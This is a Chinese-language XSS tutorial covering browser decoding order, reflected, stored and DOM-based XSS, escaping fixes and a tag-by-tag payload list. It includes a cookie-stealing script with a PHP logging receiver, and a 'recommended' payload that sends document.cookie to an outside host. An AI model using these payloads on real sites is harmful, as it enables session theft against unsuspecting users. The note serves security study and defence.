XSS (Cross-Site Script, 跨站脚本)是由于 web 应用程序对用户的输入过滤不足而产生的一种漏洞。攻击者可以利用网站漏洞把恶意的脚本代码注入到网页之中,当其他用户浏览这些带有恶意代码的网页时就会执行其中的恶意代码,对受害者产生各种攻击

页面解码

详细查看此篇文章:
https://github.com/JnuSimba/MiscSecNotes/blob/master/%E8%B7%A8%E7%AB%99%E8%84%9A%E6%9C%AC/%E8%A7%A3%E7%A0%81%E9%A1%BA%E5%BA%8F.md

解码机制

1
2
3
4
5
6
7
8
9
10
11
12
13
<script>
function HtmlEncode(str) {
var s = "";
if (str.length == 0) return "";
s = str.replace(/&/g, "&amp;");
s = s.replace(/</g, "&lt;");
s = s.replace(/>/g, "&gt;");
s = s.replace(/\"/g, "&quot;");
return s;
}
</script>
A: <input type="button" id="exec_btn" value="exec" onclick="document.write (HtmlEncode('&lt;img src=@ onerror=alert(123) /&gt;'))" /> </br>
B: <input type="button" id="exec_btn" value="exec" onclick="document.write (HtmlEncode('<img src=@ onerror=alert(123) />'))" />

上面两条的执行结果是一样的,都只是在网页中输出了<img src=@ onerror=alert(123) /> 而没有弹框, 只不过A中的js代码在执行前已经先按照html的形式解码了

关键的问题是这里的js代码是出现在html标签之间的,因为嵌入到html标签中的js 代码在解析之前会先按照html规则进行自动解码,包括: 进制编码:&#xH(十六进制格式)、&#D(十进制格式)。
HTML 实体编码,下面是 html5 新增的实体编码:
: => [冒号]
=> [换行]
case: <a href="javasc&NewLine;ript&colon;alert(1)">click</a>

以上是关于js在html内的解码,那么假如用户的输入后所传递的值并不是出现在html标签之内,而是出现在js中呢? 浏览器也有js的解析规则,还是举例子来说明

1
2
3
<script>
document.write('&lt;img src=@ onerror=alert(2) /&gt;');
</script>


上边的例子会弹出对话框吗?是不会的,因为它出现在js代码之中,上下文环境为JavaScript,浏览器解析前会将出现在js代码中的以下内容编码进行解码
1):UniCode形式(\uH)

1
2
3
<script>
document.write('\u003Cimg src=@ onerror=alert(123) /\u003E');
</script>


2):普通16进制(\xHH) 或者 8进制([0-7]{1,3})

1
2
3
<script>
document.write('\x3Cimg src=@ onerror=alert(123) /\x3E');
</script>

3)纯转义,如果用户带入js代码的内容中含有 ‘、”、< 、> 这些字符将他们进行转义是没有意义的,还是会原样的输出

1
2
3
4
5
<script>
//document.write('\<img src=@ onerror=alert(123) /\>'); //弹框
//document.write('te\'st'); //te'st
//document.write('te\"st'); //te"st
</script>

具有 HtmlEncode 功能的标签
<textarea>、<title>、<iframe>、<noscript>、<noframes>、<xmp>、<plaintext>, html 在这些标签里面是不解析的,比如 $('tt').innerHTML='<img src=@ onerror=alert(123) />',不会造成弹框。<xmp> 没有HtmlEncode 功能,<plaintext> 在 Firefox 下不会进行 HtmlEncode 编码,而在 Chrome 下面会

解码顺序

第一个例子:

1
<a href="javascript&#58;&#32;alert('\<http&#58;&#47;&#47;simba.cc/find?q=%E4%BD%A0%E5%A5%BD\>');">click</a>

首先进行html解码

1
<a href="javascript: alert('\<http://simba.cc/find?q=%E4%BD%A0%E5%A5%BD\>');">click</a>

点击链接后,先是 URL 解码,结果为(假设是 style 属性,则会执行 css 解码)

1
<a href="javascript: alert('\<http://simba.cc/find?q=你好\>');">click</a>

最后是 JS 解码,结果为

1
<a href="javascript: alert('<http://simba.cc/find?q=你好>');">click</a>

第二个例子

1
2
3
4
5
6
7
8
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<a href="javascript:alert('<?php echo $_GET['input'];?>');">test</a>
</body>
</html>

当参数input的值为: %26lt%5cu4e00%26gt 的时候,因为 php 使用 $_GET 获取参数值(urldecode),故返回的 html 源码是

1
href="javascript:alert('&lt\u4e00&gt');">test</a>

浏览器解析时 html 解码 为

1
<a href="javascript:alert('<\u4e00>');">test</a>

点击时进行 js 解码,故弹框为 <一>

测试样例

1.URL encoded "javascript:alert(1)"
不会触发。javascript: 是 scheme,不能进行urlencode,否则 urldecode 时出现 “no scheme” 状态。

1
<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29"></a>

2.Character entity encoded "javascript" and URL encoded "alert(2)"
触发。先进行 htmldecode,点击执行urldecode,最后执行 js

1
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">click</a>

3.URL encoded ":"
不会触发。冒号是 scheme 的一部分。

1
<a href="javascript%3aalert(3)"></a>

4.Character entity encoded < and >
不会触发。< > 是识别 tag 的开始结束符,不能进行编码

1
<div>&#60;img src=x onerror=alert(4)&#62;</div>

5.Character entity encoded < and >
如前所述,textarea 等标签内不会进行 htmldecode

1
<textarea>&#60;script&#62;alert(5)&#60;/script&#62;</textarea>

6.不会触发。textarea 标签内不会执行 js,除非我们先把它闭合了。

1
<textarea><script>alert(6)</script></textarea>

7.Character entity encoded
触发。先进行 htmldecode,点击触发 js 事件

1
<button onclick="confirm('7&#39;);">Button</button>

8.Unicode escape sequence encoded
不会触发。’ “ ( ) 的unicode 编码形式在这里只是字符串的文本含义,并不能表示真正的引号闭合

1
<button onclick="confirm('8\u0027);">Button</button>

9.Character entity encoded alert(9);
不会触发。script 域内不会进行 htmldecode

1
<script>&#97;&#108;&#101;&#114;&#116&#40;&#57;&#41;&#59</script>

10.Unicode Escape sequence encoded alert
触发。function name 是 identifier name,可以用unicode 方式编码

1
2
3
4
5
<script>\u0061\u006c\u0065\u0072\u0074(10);</script>

<div><a href="javascript:\u0061lert('1\x62')">ga</a></div>

<img src="x" onerror="\u0061\u006c\u0065\u0072\u0074(1)">

11.Unicode Escape sequence encoded alert(11)
不会触发。同问题2

1
<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>

12 Unicode Escape sequence encoded alert and 12
不会触发。unicode 编码的 1, 2 在这里不能表示成字符串,因为它们不是被包裹在 ‘ “ 中

1
<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>

可以触发的三个

1
2
3
<script>\u0061\u006c\u0065\u0072\u0074('\u0031\u0032')</script>
<script>\u0061\u006c\u0065\u0072\u0074(/\u0031\u0032/)</script>
<script>\u0061\u006c\u0065\u0072\u0074(12)</script>

13.Unicode escape sequence encoded '
不会触发。同问题2

1
<script>alert('13\u0027)</script>

14.Unicode escape sequence encoded line feed.
触发。unicode 编码的换行符在这里并不会真正地换行而导致js 语法错误,而是普通的文本含义

1
<script>alert('14\u000a')</script>

反射性

https://github.com/JnuSimba/MiscSecNotes/blob/master/%E8%B7%A8%E7%AB%99%E8%84%9A%E6%9C%AC/%E5%8F%8D%E5%B0%84XSS.md

存储型

可以看此文章:
https://github.com/JnuSimba/MiscSecNotes/blob/master/%E8%B7%A8%E7%AB%99%E8%84%9A%E6%9C%AC/%E5%AD%98%E5%82%A8XSS.md

XSS 盲打后台

js弹cookie代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
(function() {
(new Image()).src='http://simba.im/js/xss.php?cookie='+
escape(
(function() {
try {
return document.cookie
} catch (e) {
return ''
}
})()
)+'&location='+
escape(
(function() {
try {
return document.location.href
} catch (e) {
return ''
}
})()
);
})();

服务器接收代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if(isset($_REQUEST['cookie']) && isset($_REQUEST['location']))
{
$cookie = $_REQUEST['cookie'];
$location = $_REQUEST['location'];
$stri = "<td>".date(DATE_ATOM)."</td><td>Cookie:".$cookie."</td><td>Location:".$location."</td>";
$fp = file_put_contents("xss.txt", $stri."\n", FILE_APPEND);
}

$fp = file_get_contents("xss.txt");
$data = (explode("\n", $fp));
echo "<table bode=\"1\">";
foreach($data as $key => $value)
{
if ($value == "")
{
continue;
}
echo "<tr><td>".($key)."</td>".$value."</tr>";
}
echo "</table>";
?>

DOM型

在前端实现页面跳转

使用indexOf判断URL参数是否合法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function emptyFn(){}
function init(){
var jump = getQueryString('jump');
jump = decodeURIComponent(jump);
if (jump && jump.indexOf("tmast://") > -1) {
jump = jump;
} else {
jump = "tmast://found";
}
setTimeout(function(){
window.JSBReady(function(readyState) {
if (readyState) {
jsb('closeWebView',0,'emptyFn',{});
}
});
},1000);
location.href=jump;
}
init();

传入javascript:alert(1);//tmast://

正则表达式缺陷

示例缺陷代码 [1]:

1
2
3
4
5
function VaildURL(sUrl)
{
return (/(https?:\/\/)?[\w\-.]+\.(qq|paipai|soso|taotao)\.com($|\/|\\)/i).test(sUrl)||
(/^[\w][\w\/\.\-_%]+$/i).test(sUrl)||(/^[\/\\][^\/\\]/i).test(sUrl) ? true : false;
}

示例缺陷代码 [2]:

1
2
3
4
5
6
7
8
9
10
11
12
if(typeof(pgvMain) == 'function') {
pgvMain();
}

var durl = window.location.search.substr(6);

var refer = document.referrer;
if(/house.qq.com/.test(refer) || refer == ''){
setTimeout(function(){
window.location.replace(durl);
}, 2000);
}

神奇的符号 ^,加上和不加上,过滤的效果具有天壤之别。攻击者仍然可以构造 javascript:alert(1);//http://www.qq.com来绕过看似严格的过滤

取值写入页面或动态执行

URL中的取参数值写入页面或动态执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function getParameter(name){
var r = new RegExp("(\\?|#|&)" + name + "=([^&#]*)(&|#|$)"),
m = location.href.match(r);
return (!m ? "" : m[2]);
}

addEvent(window, "load", init);
function init(){
var msg=getParameter("msg");
if(msg=="")msg="服务器忙,请您稍候再试"
else msg=unescape(msg);
var div=document.getElementById("info");
if(div) div.innerHTML=msg;

}

构造

1
http://xxx.com/xxx.htm#msg=<img/src=x onerror=alert(1)>

Cookie取参数值写入页面或动态执行

示例缺陷代码[1]:

1
2
3
4
5
6
7
8
9
function goto_adtag_url(url, type) {
var userInfo = getCookie(COOKIE_USERINFO);
userInfo = decodeURIComponent(userInfo);
if (userInfo != '') {
userInfo = userInfo.replace(/</g, '\\<');
userInfo = userInfo.replace(/>/g, '\\>');
userInfo = eval('(' + userInfo + ')');
}
}

示例缺陷代码[2]:

1
2
3
4
5
6
7
function getISP(){var _ptisp = getCookie("ptisp");
var isp = _ptisp ? (_ptisp + ".") : "";
return isp;
}
window.isp = getISP();
window.mainPath = "http://" + window.isp + "qzs.qq.com";
window.filePath = "http://" + window.isp + "i.gtimg.cn";

localStorage、Referer、Window name、SessionStorage

1
2
3
4
5
6
7
8
9
10
11
12
13
var payload = window.name;

setTimeout(function() {
trigger(window.name);
}, 1);
var div = document.createElement('div');
document.documentElement.appendChild(div);

div.innerHTML = payload;

function trigger(payload) {
div.innerHTML = payload;
};

构造

1
<iframe src='http://localhost/domxss_47/index.php' name='<svg/onload=alert(1)>'></iframe>

修复

写入页面前先转义。在取值写入页面或动态执行的业务场景下,在将各种来源获取到的参数值传入JavaScript“三姐妹”函数(innerHTML、document.write、eval)处理前,对传入数据中的HTML特殊字符进行转义处理能防止大部分DOM-XSS的产生。此外,根据不同业务的真实情况,还应使用正则表达式,针对传入的数据做更严格的过滤限制,才能保证万无一失

1
2
3
4
5
6
7
8
9
10
11
function htmlEscape(str) {
return str
.replace(/&/g, '&amp;')
.replace(/"/g, '&quot;')
.replace(/'/g, '&#39;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;');
}

Value = htmlEscape(value);
div.innerHTML = value;

慎用危险的“eval”。需要强调的是,由于JavaScript中的eval函数十分灵活,能够支持执行的字符串编码纷繁复杂。强烈建议,不到万不得已,不要使用eval函数处理不可控的外部数据
看下边的示例:

1
2
3
4
5
6
<script>eval(unescape("%64%6f...."));</script>
在JavaScript 中可以直接通过eval 执行的字符串有八进制和十六进制 两种编码方式
<script>eval("\141\154\145\162\164\50\47\u4f60\u597d\47\51");</script>
<script>eval("\x61\x6c\x65\x72\x74\x28\x27\u4f60\u597d\x27\x29");</script>
另外,虽然十进制不能直接通过 eval 来执行,但可以用 String.fromCharCode 函数先对数值进行解码,然后传递给 eval 执行
<script>eval(String.fromCharCode(97, 108, 101, ...));</script>

标签利用

img

1
2
3
4
5
6
7
8
xss利用方式1(推荐)
<script>document.body.appendChild(document.createElement('img')).setAttribute('src','http://www.hack.com/cookie.php?cookie='+document.cookie); </script>
XSS利用方式2
<img src="x" onerror=alert(1)>
<img src="1" onerror=eval("alert('xss')")>

XSS利用方式3
<img src=1onmouseover=alert('xss')>

a

1
2
3
4
5
6
7
8
9
10
11
12
13
<a href="javascript:alert('xss')">aa</a>
<a href=javascript:eval(alert('xss'))>aa</a>
<a href="javascript:aaa"onmouseover="alert(/xss/)">aa</a>

XSS利用方式2
<script>alert('xss')</script>
<a href=""onclick=alert('xss')>aa</a>

利用方式3
<a href=""onclick=eval(alert('xss'))>aa</a>

利用方式4
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>

input

1
2
3
4
5
6
7
8
9
10
11
标准格式
<input name="name" value="">

利用方式1
<input value="" onclick=alert('xss') type="text">

利用方式2
<input name="name" value="" onmouseover=prompt('xss') bad="">

利用方式4
<input name="name" value=""><script>alert('xss')</script>

form

1
2
3
<form><button formaction=javascript:alert(21)>M
<form/action=javascript:alert(22)><input/type=submit>
<form onsubmit=alert(23)><button>M

iframe

1
2
3
4
<iframe onload=alert("xss");></iframe> 
<iframe src=javascript:alert('xss'); height=5 width=10 /><iframe>

<iframe src="javascript&colon;prompt&lpar;`xss`&rpar;"></iframe>

svg

1
<svg onload=alert(1)>

detail

1
<details ontoggle="alert('xss');">

select

1
<select onfocus=alert(1)></select>

video

1
<video><source onerror="alert(1)">

audio

1
<audio src=x  onerror=alert("xss");>

body

1
<body/onload=alert("xss");>

textarea

1
<textarea onfocus=alert("xss"); autofocus>

keygen

1
<keygen autofocus onfocus=alert(1)>

参考文章:
前端HACK之XSS攻击个人学习笔记 http://www.cnfluffy.com/2019-03-11/4963
dom型
https://github.com/JnuSimba/MiscSecNotes/blob/master/%E8%B7%A8%E7%AB%99%E8%84%9A%E6%9C%AC/DOMXSS.md
解码顺序 https://github.com/JnuSimba/MiscSecNotes/blob/master/%E8%B7%A8%E7%AB%99%E8%84%9A%E6%9C%AC/%E8%A7%A3%E7%A0%81%E9%A1%BA%E5%BA%8F.md